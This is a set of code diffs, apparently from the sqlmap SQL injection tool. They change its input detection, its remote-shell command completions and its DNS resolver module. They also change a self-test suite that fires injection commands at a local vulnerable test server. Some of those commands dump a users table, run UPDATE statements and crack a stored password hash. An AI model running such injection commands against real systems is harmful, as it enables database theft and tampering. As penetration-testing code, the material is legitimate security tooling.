JSON_RECOGNITION_REGEX = r'(?s)\A(\s*\[)*\s*\{.*"[^"]+"\s*:\s*("[^"]*"|\d+|true|false|null).*\}\s*(\]\s*)*\Z'
|
||||
JSON_RECOGNITION_REGEX = r'(?s)\A(\s*\[)*\s*\{.*"[^"]+"\s*:\s*("[^"]*"|\d+|true|false|null|\[).*\}\s*(\]\s*)*\Z'
|
||||
|
||||
# Regular expression used for detecting JSON-like POST data
|
||||
JSON_LIKE_RECOGNITION_REGEX = r"(?s)\A(\s*\[)*\s*\{.*'[^']+'\s*:\s*('[^']+'|\d+).*\}\s*(\]\s*)*\Z"
|
||||
|
||||
@@ -118,19 +118,24 @@ def autoCompletion(completion=None, os=None, commands=None):
|
||||
if os == OS.WINDOWS:
|
||||
# Reference: http://en.wikipedia.org/wiki/List_of_DOS_commands
|
||||
completer = CompleterNG({
|
||||
"copy": None, "del": None, "dir": None,
|
||||
"echo": None, "md": None, "mem": None,
|
||||
"attrib": None, "copy": None, "del": None,
|
||||
"dir": None, "echo": None, "fc": None,
|
||||
"label": None, "md": None, "mem": None,
|
||||
"move": None, "net": None, "netstat -na": None,
|
||||
"ver": None, "xcopy": None, "whoami": None,
|
||||
"tree": None, "truename": None, "type": None,
|
||||
"ver": None, "vol": None, "xcopy": None,
|
||||
})
|
||||
|
||||
else:
|
||||
# Reference: http://en.wikipedia.org/wiki/List_of_Unix_commands
|
||||
completer = CompleterNG({
|
||||
"cp": None, "rm": None, "ls": None,
|
||||
"echo": None, "mkdir": None, "free": None,
|
||||
"mv": None, "ifconfig": None, "netstat -natu": None,
|
||||
"pwd": None, "uname": None, "id": None,
|
||||
"cat": None, "chmod": None, "chown": None,
|
||||
"cp": None, "cut": None, "date": None, "df": None,
|
||||
"diff": None, "du": None, "echo": None, "env": None,
|
||||
"file": None, "find": None, "free": None, "grep": None,
|
||||
"id": None, "ifconfig": None, "ls": None, "mkdir": None,
|
||||
"mv": None, "netstat": None, "pwd": None, "rm": None,
|
||||
"uname": None, "whoami": None,
|
||||
})
|
||||
|
||||
readline.set_completer(completer.complete)
|
||||
|
||||
@@ -106,7 +106,7 @@ def _setRequestParams():
|
||||
conf.data = ""
|
||||
|
||||
if conf.data is not None:
|
||||
conf.method = HTTPMETHOD.POST if not conf.method or conf.method == HTTPMETHOD.GET else conf.method
|
||||
conf.method = conf.method or HTTPMETHOD.POST
|
||||
|
||||
def process(match, repl):
|
||||
retVal = match.group(0)
|
||||
@@ -125,7 +125,7 @@ def _setRequestParams():
|
||||
return retVal
|
||||
|
||||
if kb.processUserMarks is None and kb.customInjectionMark in conf.data:
|
||||
message = "custom injection marker ('%s') found in POST " % kb.customInjectionMark
|
||||
message = "custom injection marker ('%s') found in %s " % (kb.customInjectionMark, conf.method)
|
||||
message += "body. Do you want to process it? [Y/n/q] "
|
||||
choice = readInput(message, default='Y').upper()
|
||||
|
||||
@@ -138,7 +138,7 @@ def _setRequestParams():
|
||||
kb.testOnlyCustom = True
|
||||
|
||||
if re.search(JSON_RECOGNITION_REGEX, conf.data):
|
||||
message = "JSON data found in %s data. " % conf.method
|
||||
message = "JSON data found in %s body. " % conf.method
|
||||
message += "Do you want to process it? [Y/n/q] "
|
||||
choice = readInput(message, default='Y').upper()
|
||||
|
||||
@@ -162,7 +162,7 @@ def _setRequestParams():
|
||||
kb.postHint = POST_HINT.JSON
|
||||
|
||||
elif re.search(JSON_LIKE_RECOGNITION_REGEX, conf.data):
|
||||
message = "JSON-like data found in %s data. " % conf.method
|
||||
message = "JSON-like data found in %s body. " % conf.method
|
||||
message += "Do you want to process it? [Y/n/q] "
|
||||
choice = readInput(message, default='Y').upper()
|
||||
|
||||
@@ -178,7 +178,7 @@ def _setRequestParams():
|
||||
kb.postHint = POST_HINT.JSON_LIKE
|
||||
|
||||
elif re.search(ARRAY_LIKE_RECOGNITION_REGEX, conf.data):
|
||||
message = "Array-like data found in %s data. " % conf.method
|
||||
message = "Array-like data found in %s body. " % conf.method
|
||||
message += "Do you want to process it? [Y/n/q] "
|
||||
choice = readInput(message, default='Y').upper()
|
||||
|
||||
@@ -192,7 +192,7 @@ def _setRequestParams():
|
||||
kb.postHint = POST_HINT.ARRAY_LIKE
|
||||
|
||||
elif re.search(XML_RECOGNITION_REGEX, conf.data):
|
||||
message = "SOAP/XML data found in %s data. " % conf.method
|
||||
message = "SOAP/XML data found in %s body. " % conf.method
|
||||
message += "Do you want to process it? [Y/n/q] "
|
||||
choice = readInput(message, default='Y').upper()
|
||||
|
||||
@@ -207,7 +207,7 @@ def _setRequestParams():
|
||||
kb.postHint = POST_HINT.SOAP if "soap" in conf.data.lower() else POST_HINT.XML
|
||||
|
||||
elif re.search(MULTIPART_RECOGNITION_REGEX, conf.data):
|
||||
message = "Multipart-like data found in %s data. " % conf.method
|
||||
message = "Multipart-like data found in %s body. " % conf.method
|
||||
message += "Do you want to process it? [Y/n/q] "
|
||||
choice = readInput(message, default='Y').upper()
|
||||
|
||||
|
||||
@@ -7,56 +7,33 @@ See the file 'LICENSE' for copying permission
|
||||
|
||||
from __future__ import division
|
||||
|
||||
import codecs
|
||||
import doctest
|
||||
import logging
|
||||
import os
|
||||
import random
|
||||
import re
|
||||
import shutil
|
||||
import socket
|
||||
import sqlite3
|
||||
import sys
|
||||
import tempfile
|
||||
import threading
|
||||
import time
|
||||
import traceback
|
||||
|
||||
from extra.beep.beep import beep
|
||||
from extra.vulnserver import vulnserver
|
||||
from lib.controller.controller import start
|
||||
from lib.core.common import clearColors
|
||||
from lib.core.common import clearConsoleLine
|
||||
from lib.core.common import dataToStdout
|
||||
from lib.core.common import randomInt
|
||||
from lib.core.common import randomStr
|
||||
from lib.core.common import readXmlFile
|
||||
from lib.core.common import shellExec
|
||||
from lib.core.compat import round
|
||||
from lib.core.compat import xrange
|
||||
from lib.core.convert import encodeBase64
|
||||
from lib.core.convert import getUnicode
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.data import paths
|
||||
from lib.core.data import queries
|
||||
from lib.core.enums import MKSTEMP_PREFIX
|
||||
from lib.core.exception import SqlmapBaseException
|
||||
from lib.core.exception import SqlmapNotVulnerableException
|
||||
from lib.core.log import LOGGER_HANDLER
|
||||
from lib.core.option import init
|
||||
from lib.core.option import initOptions
|
||||
from lib.core.option import setVerbosity
|
||||
from lib.core.optiondict import optDict
|
||||
from lib.core.settings import UNICODE_ENCODING
|
||||
from lib.parse.cmdline import cmdLineParser
|
||||
|
||||
class Failures(object):
|
||||
failedItems = None
|
||||
failedParseOn = None
|
||||
failedTraceBack = None
|
||||
|
||||
_failures = Failures()
|
||||
_rand = 0
|
||||
|
||||
def vulnTest():
|
||||
@@ -65,8 +42,11 @@ def vulnTest():
|
||||
"""
|
||||
|
||||
TESTS = (
|
||||
(u"-u <url> --flush-session --sql-query=\"SELECT '\u0161u\u0107uraj'\" --technique=U", (u": '\u0161u\u0107uraj'",)),
|
||||
(u"-u <url> --flush-session --sql-query=\"SELECT '\u0161u\u0107uraj'\" --technique=B --no-escape", (u": '\u0161u\u0107uraj'",)),
|
||||
("-h", ("to see full list of options run with '-hh'",)),
|
||||
("-u <url> --flush-session --wizard --check-internet", ("Please choose:", "back-end DBMS: SQLite", "current user is DBA: True", "banner: '3.", "~no connection detected")),
|
||||
(u"-c <config> --flush-session --sql-query=\"SELECT '\u0161u\u0107uraj'\" --technique=U", (u": '\u0161u\u0107uraj'",)),
|
||||
(u"-u <url> --flush-session --sql-query=\"SELECT '\u0161u\u0107uraj'\" --technique=B --no-escape --string=luther --unstable", (u": '\u0161u\u0107uraj'",)),
|
||||
("--dummy", ("all tested parameters do not appear to be injectable", "does not seem to be injectable", "there is not at least one", "~might be injectable")),
|
||||
("--list-tampers", ("between", "MySQL", "xforwardedfor")),
|
||||
("-r <request> --flush-session -v 5", ("CloudFlare", "possible DBMS: 'SQLite'", "User-agent: foobar")),
|
||||
("-l <log> --flush-session --keep-alive --skip-waf -v 5 --technique=U --union-from=users --banner --parse-errors", ("banner: '3.", "ORDER BY term out of range", "~xp_cmdshell", "Connection: keep-alive")),
|
||||
@@ -81,13 +61,14 @@ def vulnTest():
|
||||
("-u <url> --flush-session --null-connection --technique=B --tamper=between,randomcase --banner", ("NULL connection is supported with HEAD method", "banner: '3.")),
|
||||
("-u <url> --flush-session --parse-errors --test-filter=\"subquery\" --eval=\"import hashlib; id2=2; id3=hashlib.md5(id.encode()).hexdigest()\" --referer=\"localhost\"", ("might be injectable", ": syntax error", "back-end DBMS: SQLite", "WHERE or HAVING clause (subquery")),
|
||||
("-u <url> --banner --schema --dump -T users --binary-fields=surname --where \"id>3\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "2 entries", "6E616D6569736E756C6C")),
|
||||
("-u <url> --technique=U --fresh-queries --force-partial --dump -T users --answer=\"crack=n\" -v 3", ("performed 6 queries", "nameisnull", "~using default dictionary")),
|
||||
("-u <url> --technique=U --fresh-queries --force-partial --dump -T users --dump-format=HTML --answers=\"crack=n\" -v 3", ("performed 6 queries", "nameisnull", "~using default dictionary", "dumped to HTML file")),
|
||||
("-u <url> --flush-session --all", ("5 entries", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "luther", "blisset", "fluffy", "179ad45c6ce2cb97cf1029e212046e81", "NULL", "nameisnull", "testpass")),
|
||||
("-u <url> -z \"tec=B\" --hex --fresh-queries --threads=4 --sql-query=\"SELECT * FROM users\"", ("SELECT * FROM users [5]", "nameisnull")),
|
||||
("-u '<url>&echo=foobar*' --flush-session", ("might be vulnerable to cross-site scripting",)),
|
||||
("-u '<url>&query=*' --flush-session --technique=Q --banner", ("Title: SQLite inline queries", "banner: '3.")),
|
||||
("-d <direct> --flush-session --dump -T users --binary-fields=name --where \"id=3\"", ("7775", "179ad45c6ce2cb97cf1029e212046e81 (testpass)",)),
|
||||
("-d <direct> --flush-session --dump -T users --dump-format=SQLITE --binary-fields=name --where \"id=3\"", ("7775", "179ad45c6ce2cb97cf1029e212046e81 (testpass)", "dumped to SQLITE database")),
|
||||
("-d <direct> --flush-session --banner --schema --sql-query=\"UPDATE users SET name='foobar' WHERE id=5; SELECT * FROM users; SELECT 987654321\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "5, foobar, nameisnull", "[*] 987654321",)),
|
||||
("--purge -v 3", ("~ERROR", "~CRITICAL", "deleting the whole directory tree")),
|
||||
)
|
||||
|
||||
retVal = True
|
||||
@@ -110,6 +91,9 @@ def vulnTest():
|
||||
except:
|
||||
time.sleep(1)
|
||||
|
||||
handle, config = tempfile.mkstemp(suffix=".conf")
|
||||
os.close(handle)
|
||||
|
||||
handle, database = tempfile.mkstemp(suffix=".sqlite")
|
||||
os.close(handle)
|
||||
|
||||
@@ -131,11 +115,14 @@ def vulnTest():
|
||||
url = "http://%s:%d/?id=1" % (address, port)
|
||||
direct = "sqlite3://%s" % database
|
||||
|
||||
content = open(os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.conf"))).read().replace("url =", "url = %s" % url)
|
||||
open(config, "w+").write(content)
|
||||
|
||||
for options, checks in TESTS:
|
||||
status = '%d/%d (%d%%) ' % (count, len(TESTS), round(100.0 * count / len(TESTS)))
|
||||
dataToStdout("\r[%s] [INFO] complete: %s" % (time.strftime("%X"), status))
|
||||
|
||||
cmd = "%s %s %s --batch" % (sys.executable, os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.py")), options.replace("<url>", url).replace("<direct>", direct).replace("<request>", request).replace("<log>", log))
|
||||
cmd = "%s %s %s --batch" % (sys.executable, os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.py")), options.replace("<url>", url).replace("<direct>", direct).replace("<request>", request).replace("<log>", log).replace("<config>", config))
|
||||
output = shellExec(cmd)
|
||||
|
||||
if not all((check in output if not check.startswith('~') else check[1:] not in output) for check in checks):
|
||||
@@ -153,6 +140,67 @@ def vulnTest():
|
||||
|
||||
return retVal
|
||||
|
||||
def fuzzTest():
|
||||
count = 0
|
||||
address, port = "127.0.0.10", random.randint(1025, 65535)
|
||||
|
||||
def _thread():
|
||||
vulnserver.init(quiet=True)
|
||||
vulnserver.run(address=address, port=port)
|
||||
|
||||
thread = threading.Thread(target=_thread)
|
||||
thread.daemon = True
|
||||
thread.start()
|
||||
|
||||
while True:
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
try:
|
||||
s.connect((address, port))
|
||||
break
|
||||
except:
|
||||
time.sleep(1)
|
||||
|
||||
handle, config = tempfile.mkstemp(suffix=".conf")
|
||||
os.close(handle)
|
||||
|
||||
url = "http://%s:%d/?id=1" % (address, port)
|
||||
|
||||
content = open(os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.conf"))).read().replace("url =", "url = %s" % url)
|
||||
open(config, "w+").write(content)
|
||||
|
||||
while True:
|
||||
lines = content.split("\n")
|
||||
|
||||
for i in xrange(20):
|
||||
j = random.randint(0, len(lines) - 1)
|
||||
|
||||
if any(_ in lines[j] for _ in ("googleDork",)):
|
||||
continue
|
||||
|
||||
if lines[j].strip().endswith('='):
|
||||
lines[j] += random.sample(("True", "False", randomStr(), str(randomInt())), 1)[0]
|
||||
|
||||
k = random.randint(0, len(lines) - 1)
|
||||
if '=' in lines[k]:
|
||||
lines[k] += chr(random.randint(0, 255))
|
||||
|
||||
open(config, "w+").write("\n".join(lines))
|
||||
|
||||
cmd = "%s %s -c %s --non-interactive --answers='Github=n' --flush-session --technique=%s --banner" % (sys.executable, os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.py")), config, random.sample("BEUQ", 1)[0])
|
||||
output = shellExec(cmd)
|
||||
|
||||
if "Traceback" in output:
|
||||
dataToStdout("---\n\n$ %s\n" % cmd)
|
||||
dataToStdout("%s---\n" % clearColors(output))
|
||||
|
||||
handle, config = tempfile.mkstemp(prefix="sqlmapcrash", suffix=".conf")
|
||||
os.close(handle)
|
||||
open(config, "w+").write("\n".join(lines))
|
||||
else:
|
||||
dataToStdout("\r%d\r" % count)
|
||||
|
||||
count += 1
|
||||
|
||||
def dirtyPatchRandom():
|
||||
"""
|
||||
Unifying random generated data across different Python versions
|
||||
@@ -192,6 +240,15 @@ def smokeTest():
|
||||
|
||||
dirtyPatchRandom()
|
||||
|
||||
content = open(paths.ERRORS_XML, "r").read()
|
||||
for regex in re.findall(r'<error regexp="(.+?)"/>', content):
|
||||
try:
|
||||
re.compile(regex)
|
||||
except re.error:
|
||||
errMsg = "smoke test failed at compiling '%s'" % regex
|
||||
logger.error(errMsg)
|
||||
return False
|
||||
|
||||
retVal = True
|
||||
count, length = 0, 0
|
||||
|
||||
@@ -264,233 +321,3 @@ def smokeTest():
|
||||
logger.error("smoke test final result: FAILED")
|
||||
|
||||
return retVal
|
||||
|
||||
def adjustValueType(tagName, value):
|
||||
for family in optDict:
|
||||
for name, type_ in optDict[family].items():
|
||||
if type(type_) == tuple:
|
||||
type_ = type_[0]
|
||||
if tagName == name:
|
||||
if type_ == "boolean":
|
||||
value = (value == "True")
|
||||
elif type_ == "integer":
|
||||
value = int(value)
|
||||
elif type_ == "float":
|
||||
value = float(value)
|
||||
break
|
||||
return value
|
||||
|
||||
def liveTest():
|
||||
"""
|
||||
Runs the test of a program against the live testing environment
|
||||
"""
|
||||
|
||||
retVal = True
|
||||
count = 0
|
||||
global_ = {}
|
||||
vars_ = {}
|
||||
|
||||
livetests = readXmlFile(paths.LIVE_TESTS_XML)
|
||||
length = len(livetests.getElementsByTagName("case"))
|
||||
|
||||
element = livetests.getElementsByTagName("global")
|
||||
if element:
|
||||
for item in element:
|
||||
for child in item.childNodes:
|
||||
if child.nodeType == child.ELEMENT_NODE and child.hasAttribute("value"):
|
||||
global_[child.tagName] = adjustValueType(child.tagName, child.getAttribute("value"))
|
||||
|
||||
element = livetests.getElementsByTagName("vars")
|
||||
if element:
|
||||
for item in element:
|
||||
for child in item.childNodes:
|
||||
if child.nodeType == child.ELEMENT_NODE and child.hasAttribute("value"):
|
||||
var = child.getAttribute("value")
|
||||
vars_[child.tagName] = randomStr(6) if var == "random" else var
|
||||
|
||||
for case in livetests.getElementsByTagName("case"):
|
||||
parse_from_console_output = False
|
||||
count += 1
|
||||
name = None
|
||||
parse = []
|
||||
switches = dict(global_)
|
||||
value = ""
|
||||
vulnerable = True
|
||||
result = None
|
||||
|
||||
if case.hasAttribute("name"):
|
||||
name = case.getAttribute("name")
|
||||
|
||||
if conf.runCase and ((conf.runCase.isdigit() and conf.runCase != count) or not re.search(conf.runCase, name, re.DOTALL)):
|
||||
continue
|
||||
|
||||
if case.getElementsByTagName("switches"):
|
||||
for child in case.getElementsByTagName("switches")[0].childNodes:
|
||||
if child.nodeType == child.ELEMENT_NODE and child.hasAttribute("value"):
|
||||
value = replaceVars(child.getAttribute("value"), vars_)
|
||||
switches[child.tagName] = adjustValueType(child.tagName, value)
|
||||
|
||||
if case.getElementsByTagName("parse"):
|
||||
for item in case.getElementsByTagName("parse")[0].getElementsByTagName("item"):
|
||||
if item.hasAttribute("value"):
|
||||
value = replaceVars(item.getAttribute("value"), vars_)
|
||||
|
||||
if item.hasAttribute("console_output"):
|
||||
parse_from_console_output = bool(item.getAttribute("console_output"))
|
||||
|
||||
parse.append((value, parse_from_console_output))
|
||||
|
||||
conf.verbose = global_.get("verbose", 1)
|
||||
setVerbosity()
|
||||
|
||||
msg = "running live test case: %s (%d/%d)" % (name, count, length)
|
||||
logger.info(msg)
|
||||
|
||||
initCase(switches, count)
|
||||
|
||||
test_case_fd = codecs.open(os.path.join(paths.SQLMAP_OUTPUT_PATH, "test_case"), "wb", UNICODE_ENCODING)
|
||||
test_case_fd.write("%s\n" % name)
|
||||
|
||||
try:
|
||||
result = runCase(parse)
|
||||
except SqlmapNotVulnerableException:
|
||||
vulnerable = False
|
||||
finally:
|
||||
conf.verbose = global_.get("verbose", 1)
|
||||
setVerbosity()
|
||||
|
||||
if result is True:
|
||||
logger.info("test passed")
|
||||
cleanCase()
|
||||
else:
|
||||
errMsg = "test failed"
|
||||
|
||||
if _failures.failedItems:
|
||||
errMsg += " at parsing items: %s" % ", ".join(i for i in _failures.failedItems)
|
||||
|
||||
errMsg += " - scan folder: %s" % paths.SQLMAP_OUTPUT_PATH
|
||||
errMsg += " - traceback: %s" % bool(_failures.failedTraceBack)
|
||||
|
||||
if not vulnerable:
|
||||
errMsg += " - SQL injection not detected"
|
||||
|
||||
logger.error(errMsg)
|
||||
test_case_fd.write("%s\n" % errMsg)
|
||||
|
||||
if _failures.failedParseOn:
|
||||
console_output_fd = codecs.open(os.path.join(paths.SQLMAP_OUTPUT_PATH, "console_output"), "wb", UNICODE_ENCODING)
|
||||
console_output_fd.write(_failures.failedParseOn)
|
||||
console_output_fd.close()
|
||||
|
||||
if _failures.failedTraceBack:
|
||||
traceback_fd = codecs.open(os.path.join(paths.SQLMAP_OUTPUT_PATH, "traceback"), "wb", UNICODE_ENCODING)
|
||||
traceback_fd.write(_failures.failedTraceBack)
|
||||
traceback_fd.close()
|
||||
|
||||
beep()
|
||||
|
||||
if conf.stopFail is True:
|
||||
return retVal
|
||||
|
||||
test_case_fd.close()
|
||||
retVal &= bool(result)
|
||||
|
||||
dataToStdout("\n")
|
||||
|
||||
if retVal:
|
||||
logger.info("live test final result: PASSED")
|
||||
else:
|
||||
logger.error("live test final result: FAILED")
|
||||
|
||||
return retVal
|
||||
|
||||
def initCase(switches, count):
|
||||
_failures.failedItems = []
|
||||
_failures.failedParseOn = None
|
||||
_failures.failedTraceBack = None
|
||||
|
||||
paths.SQLMAP_OUTPUT_PATH = tempfile.mkdtemp(prefix="%s%d-" % (MKSTEMP_PREFIX.TESTING, count))
|
||||
paths.SQLMAP_DUMP_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "dump")
|
||||
paths.SQLMAP_FILES_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "files")
|
||||
|
||||
logger.debug("using output directory '%s' for this test case" % paths.SQLMAP_OUTPUT_PATH)
|
||||
|
||||
LOGGER_HANDLER.stream = sys.stdout = tempfile.SpooledTemporaryFile(max_size=0, mode="w+b", prefix="sqlmapstdout-")
|
||||
|
||||
cmdLineOptions = cmdLineParser()
|
||||
|
||||
if switches:
|
||||
for key, value in switches.items():
|
||||
if key in cmdLineOptions.__dict__:
|
||||
cmdLineOptions.__dict__[key] = value
|
||||
|
||||
initOptions(cmdLineOptions, True)
|
||||
init()
|
||||
|
||||
def cleanCase():
|
||||
shutil.rmtree(paths.SQLMAP_OUTPUT_PATH, True)
|
||||
|
||||
def runCase(parse):
|
||||
retVal = True
|
||||
handled_exception = None
|
||||
unhandled_exception = None
|
||||
result = False
|
||||
console = ""
|
||||
|
||||
try:
|
||||
result = start()
|
||||
except KeyboardInterrupt:
|
||||
pass
|
||||
except SqlmapBaseException as ex:
|
||||
handled_exception = ex
|
||||
except Exception as ex:
|
||||
unhandled_exception = ex
|
||||
finally:
|
||||
sys.stdout.seek(0)
|
||||
console = sys.stdout.read()
|
||||
LOGGER_HANDLER.stream = sys.stdout = sys.__stdout__
|
||||
|
||||
if unhandled_exception:
|
||||
_failures.failedTraceBack = "unhandled exception: %s" % str(traceback.format_exc())
|
||||
retVal = None
|
||||
elif handled_exception:
|
||||
_failures.failedTraceBack = "handled exception: %s" % str(traceback.format_exc())
|
||||
retVal = None
|
||||
elif result is False: # this means no SQL injection has been detected - if None, ignore
|
||||
retVal = False
|
||||
|
||||
console = getUnicode(console, encoding=sys.stdin.encoding)
|
||||
|
||||
if parse and retVal:
|
||||
with codecs.open(conf.dumper.getOutputFile(), "rb", UNICODE_ENCODING) as f:
|
||||
content = f.read()
|
||||
|
||||
for item, parse_from_console_output in parse:
|
||||
parse_on = console if parse_from_console_output else content
|
||||
|
||||
if item.startswith("r'") and item.endswith("'"):
|
||||
if not re.search(item[2:-1], parse_on, re.DOTALL):
|
||||
retVal = None
|
||||
_failures.failedItems.append(item)
|
||||
|
||||
elif item not in parse_on:
|
||||
retVal = None
|
||||
_failures.failedItems.append(item)
|
||||
|
||||
if _failures.failedItems:
|
||||
_failures.failedParseOn = console
|
||||
|
||||
elif retVal is False:
|
||||
_failures.failedParseOn = console
|
||||
|
||||
return retVal
|
||||
|
||||
def replaceVars(item, vars_):
|
||||
retVal = item
|
||||
|
||||
if item and vars_:
|
||||
for var in re.findall(r"\$\{([^}]+)\}", item):
|
||||
if var in vars_:
|
||||
retVal = retVal.replace("${%s}" % var, vars_[var])
|
||||
|
||||
return retVal
|
||||
|
||||
@@ -252,7 +252,7 @@ def cmdLineParser(argv=None):
|
||||
help="Load safe HTTP request from a file")
|
||||
|
||||
request.add_argument("--safe-freq", dest="safeFreq", type=int,
|
||||
help="Test requests between two visits to a given safe URL")
|
||||
help="Regular requests between visits to a safe URL")
|
||||
|
||||
request.add_argument("--skip-urlencode", dest="skipUrlEncode", action="store_true",
|
||||
help="Skip URL encoding of payload data")
|
||||
@@ -781,22 +781,19 @@ def cmdLineParser(argv=None):
|
||||
parser.add_argument("--force-pivoting", dest="forcePivoting", action="store_true",
|
||||
help=SUPPRESS)
|
||||
|
||||
parser.add_argument("--non-interactive", dest="nonInteractive", action="store_true",
|
||||
help=SUPPRESS)
|
||||
|
||||
parser.add_argument("--gui", dest="gui", action="store_true",
|
||||
help=SUPPRESS)
|
||||
|
||||
parser.add_argument("--smoke-test", dest="smokeTest", action="store_true",
|
||||
help=SUPPRESS)
|
||||
|
||||
parser.add_argument("--live-test", dest="liveTest", action="store_true",
|
||||
help=SUPPRESS)
|
||||
|
||||
parser.add_argument("--vuln-test", dest="vulnTest", action="store_true",
|
||||
help=SUPPRESS)
|
||||
|
||||
parser.add_argument("--stop-fail", dest="stopFail", action="store_true",
|
||||
help=SUPPRESS)
|
||||
|
||||
parser.add_argument("--run-case", dest="runCase",
|
||||
parser.add_argument("--fuzz-test", dest="fuzzTest", action="store_true",
|
||||
help=SUPPRESS)
|
||||
|
||||
# API options
|
||||
@@ -1005,7 +1002,7 @@ def cmdLineParser(argv=None):
|
||||
if args.dummy:
|
||||
args.url = args.url or DUMMY_URL
|
||||
|
||||
if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, args.requestFile, args.updateAll, args.smokeTest, args.vulnTest, args.liveTest, args.wizard, args.dependencies, args.purge, args.listTampers, args.hashFile)):
|
||||
if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, args.requestFile, args.updateAll, args.smokeTest, args.vulnTest, args.fuzzTest, args.wizard, args.dependencies, args.purge, args.listTampers, args.hashFile)):
|
||||
errMsg = "missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, --list-tampers, --wizard, --update, --purge or --dependencies). "
|
||||
errMsg += "Use -h for basic and -hh for advanced help\n"
|
||||
parser.error(errMsg)
|
||||
|
||||
@@ -26,7 +26,10 @@ class HTMLHandler(ContentHandler):
|
||||
|
||||
self._dbms = None
|
||||
self._page = (page or "")
|
||||
self._lower_page = self._page.lower()
|
||||
try:
|
||||
self._lower_page = self._page.lower()
|
||||
except SystemError: # https://bugs.python.org/issue18183
|
||||
self._lower_page = None
|
||||
self._urldecoded_page = urldecode(self._page)
|
||||
|
||||
self.dbms = None
|
||||
@@ -49,14 +52,21 @@ class HTMLHandler(ContentHandler):
|
||||
keywords = sorted(keywords, key=len)
|
||||
kb.cache.regex[regexp] = keywords[-1].lower()
|
||||
|
||||
if kb.cache.regex[regexp] in self._lower_page and re.search(regexp, self._urldecoded_page, re.I):
|
||||
if kb.cache.regex[regexp] in (self._lower_page or kb.cache.regex[regexp]) and re.search(regexp, self._urldecoded_page, re.I):
|
||||
self.dbms = self._dbms
|
||||
self._markAsErrorPage()
|
||||
kb.forkNote = kb.forkNote or attrs.get("fork")
|
||||
|
||||
def htmlParser(page):
|
||||
"""
|
||||
This function calls a class that parses the input HTML page to
|
||||
fingerprint the back-end database management system
|
||||
|
||||
>>> from lib.core.enums import DBMS
|
||||
>>> htmlParser("Warning: mysql_fetch_array() expects parameter 1 to be resource") == DBMS.MYSQL
|
||||
True
|
||||
>>> threadData = getCurrentThreadData()
|
||||
>>> threadData.lastErrorPage = None
|
||||
"""
|
||||
|
||||
xmlfile = paths.ERRORS_XML
|
||||
|
||||
@@ -11,10 +11,58 @@ import binascii
|
||||
import os
|
||||
import re
|
||||
import socket
|
||||
import struct
|
||||
import threading
|
||||
import time
|
||||
|
||||
class DNSQuery(object):
|
||||
"""
|
||||
>>> DNSQuery(b'|K\\x01 \\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x01\\x03www\\x06google\\x03com\\x00\\x00\\x01\\x00\\x01\\x00\\x00)\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x0c\\x00\\n\\x00\\x08O4|Np!\\x1d\\xb3')._query == b"www.google.com."
|
||||
True
|
||||
>>> DNSQuery(b'\\x00')._query == b""
|
||||
True
|
||||
"""
|
||||
|
||||
def __init__(self, raw):
|
||||
self._raw = raw
|
||||
self._query = b""
|
||||
|
||||
try:
|
||||
type_ = (ord(raw[2:3]) >> 3) & 15 # Opcode bits
|
||||
|
||||
if type_ == 0: # Standard query
|
||||
i = 12
|
||||
j = ord(raw[i:i + 1])
|
||||
|
||||
while j != 0:
|
||||
self._query += raw[i + 1:i + j + 1] + b'.'
|
||||
i = i + j + 1
|
||||
j = ord(raw[i:i + 1])
|
||||
except TypeError:
|
||||
pass
|
||||
|
||||
def response(self, resolution):
|
||||
"""
|
||||
Crafts raw DNS resolution response packet
|
||||
"""
|
||||
|
||||
retVal = b""
|
||||
|
||||
if self._query:
|
||||
retVal += self._raw[:2] # Transaction ID
|
||||
retVal += b"\x85\x80" # Flags (Standard query response, No error)
|
||||
retVal += self._raw[4:6] + self._raw[4:6] + b"\x00\x00\x00\x00" # Questions and Answers Counts
|
||||
retVal += self._raw[12:(12 + self._raw[12:].find(b"\x00") + 5)] # Original Domain Name Query
|
||||
retVal += b"\xc0\x0c" # Pointer to domain name
|
||||
retVal += b"\x00\x01" # Type A
|
||||
retVal += b"\x00\x01" # Class IN
|
||||
retVal += b"\x00\x00\x00\x20" # TTL (32 seconds)
|
||||
retVal += b"\x00\x04" # Data length
|
||||
retVal += b"".join(struct.pack('B', int(_)) for _ in resolution.split('.')) # 4 bytes of IP
|
||||
|
||||
return retVal
|
||||
|
||||
class DNSServer(object):
|
||||
"""
|
||||
Used for making fake DNS resolution responses based on received
|
||||
raw request
|
||||
@@ -24,43 +72,6 @@ class DNSQuery(object):
|
||||
https://code.google.com/p/marlon-tools/source/browse/tools/dnsproxy/dnsproxy.py
|
||||
"""
|
||||
|
||||
def __init__(self, raw):
|
||||
self._raw = raw
|
||||
self._query = ""
|
||||
|
||||
type_ = (ord(raw[2]) >> 3) & 15 # Opcode bits
|
||||
|
||||
if type_ == 0: # Standard query
|
||||
i = 12
|
||||
j = ord(raw[i])
|
||||
|
||||
while j != 0:
|
||||
self._query += raw[i + 1:i + j + 1] + '.'
|
||||
i = i + j + 1
|
||||
j = ord(raw[i])
|
||||
|
||||
def response(self, resolution):
|
||||
"""
|
||||
Crafts raw DNS resolution response packet
|
||||
"""
|
||||
|
||||
retVal = ""
|
||||
|
||||
if self._query:
|
||||
retVal += self._raw[:2] # Transaction ID
|
||||
retVal += "\x85\x80" # Flags (Standard query response, No error)
|
||||
retVal += self._raw[4:6] + self._raw[4:6] + "\x00\x00\x00\x00" # Questions and Answers Counts
|
||||
retVal += self._raw[12:(12 + self._raw[12:].find("\x00") + 5)] # Original Domain Name Query
|
||||
